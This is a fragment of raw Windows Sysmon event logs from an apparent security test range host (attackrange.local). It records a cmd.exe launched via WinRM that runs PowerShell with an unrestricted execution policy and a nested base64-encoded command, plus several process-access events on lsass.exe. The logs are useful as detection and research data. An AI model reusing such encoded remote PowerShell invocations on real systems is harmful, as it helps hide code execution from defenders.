IAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2901-5F80-9400-000000007F01}4420C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000003018Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003017Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2901-5F80-9400-000000007F01}4420C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003016Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003015Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003014Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003013Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003012Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003011Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003010Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003009Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003008Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003007Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2901-5F80-9400-000000007F01}4420C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003006Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28FF-5F80-8C00-000000007F01}47204692C:\Windows\system32\WinrsHost.exe{A5F018FF-2901-5F80-9400-000000007F01}4420C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000003005Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.234{A5F018FF-2901-5F80-9400-000000007F01}4420C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28FF-5F80-9D63-050000000000}0x5639d0HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28FF-5F80-8C00-000000007F01}4720C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000003004Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003003Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:25.226{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286b